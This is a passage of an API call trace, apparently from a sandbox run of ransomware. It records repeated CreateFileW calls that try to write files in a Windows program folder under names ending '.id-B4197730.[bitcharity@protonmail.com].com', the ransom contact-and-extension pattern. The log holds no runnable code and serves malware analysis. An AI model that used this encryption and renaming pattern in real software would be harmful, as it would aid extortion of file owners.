files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.491] CloseHandle (hObject=0x1154) returned 1 [0276.492] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.492] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.492] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.492] CloseHandle (hObject=0x1154) returned 1 [0276.495] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.495] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.495] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.495] CloseHandle (hObject=0x1154) returned 1 [0276.496] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.496] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.496] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.496] CloseHandle (hObject=0x1154) returned 1 [0276.497] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.497] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.497] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.497] CloseHandle (hObject=0x1154) returned 1 [0276.498] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.498] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.498] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.499] CloseHandle (hObject=0x1154) returned 1 [0276.502] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.502] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.502] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.502] CloseHandle (hObject=0x1154) returned 1 [0276.503] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.503] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.503] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.503] CloseHandle (hObject=0x1154) returned 1 [0276.504] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.504] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.504] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.504] CloseHandle (hObject=0x1154) returned 1 [0276.505] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.505] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.505] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.505] CloseHandle (hObject=0x1154) returned 1 [0276.508] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.508] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.508] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.509] CloseHandle (hObject=0x1154) returned 1 [0276.509] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.509] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.509] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.510] CloseHandle (hObject=0x1154) returned 1 [0276.510] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.511] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.511] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.511] CloseHandle (hObject=0x1154) returned 1 [0276.511] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.512] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.512] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.512] CloseHandle (hObject=0x1154) returned 1 [0277.051] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.051] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.051] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.051] CloseHandle (hObject=0x115c) returned 1 [0277.055] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.055] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.055] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.055] CloseHandle (hObject=0x115c) returned 1 [0277.056] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.056] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.056] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.056] CloseHandle (hObject=0x115c) returned 1 [0277.057] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.057] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.057] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.057] CloseHandle (hObject=0x115c) returned 1 [0277.058] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.058] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.058] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.059] CloseHandle (hObject=0x115c) returned 1 [0277.062] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.062] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.062] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.063] CloseHandle (hObject=0x115c) returned 1 [0277.063] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.064] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.064] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.064] CloseHandle (hObject=0x115c) returned 1 [0277.065] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.065] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.065] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.065] CloseHandle (hObject=0x115c) returned 1 [0277.066] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.066] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.066] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.066] CloseHandle (hObject=0x115c) returned 1 [0277.069] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.069] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.069] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.070] CloseHandle (hObject=0x115c) returned 1 [0277.070] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.071] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.071] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.071] CloseHandle (hObject=0x115c) returned 1 [0277.072] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.072] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.072] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.072] CloseHandle (hObject=0x115c) returned 1 [0277.073] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.073] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.073] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.073] CloseHandle (hObject=0x115c) returned 1 [0277.074] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.074] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\metadata.json.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.074] CloseHandle (hObject=0x115c) returned 1 [0277.077] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.077] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.077] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 